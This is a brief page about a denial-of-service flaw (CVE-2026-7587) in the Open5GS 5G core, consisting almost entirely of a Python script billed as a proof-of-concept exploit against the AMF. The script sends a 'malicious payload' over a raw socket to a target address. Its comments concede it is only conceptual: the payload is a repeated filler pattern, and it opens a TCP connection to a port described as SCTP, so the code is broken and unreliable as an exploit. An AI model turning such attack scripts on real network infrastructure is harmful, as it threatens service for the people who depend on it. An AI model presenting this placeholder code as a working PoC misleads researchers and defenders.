CVE-2026-7587 Open5GS拒绝服务漏洞

import socket # Proof of Concept for CVE-2026-7587 # This script demonstrates a conceptual denial of service attack on Open5GS AMF. # Note: Actual exploitation requires crafting specific NGAP/HTTP2 packets. def send_exploit_packet(target_ip, target_port): try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) # Connect to the Open5GS AMF interface s.connect((target_ip, target_port)) # Mal payload triggering the vulnerability in amf_nsmf_pdusession_handle_update_sm_context # In a real scenario, this would be a specific malformed PDU Session Update SM Context message payload = b"\x00\x00\x00\x01" * 100 print(f"[+] Sending malicious payload to {target_ip}:{target_port}") s.sendall(payload) response = s.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 38412 # Default SCTP port for NGAP, might vary based on config send_exploit_packet(TARGET_IP, TARGET_PORT)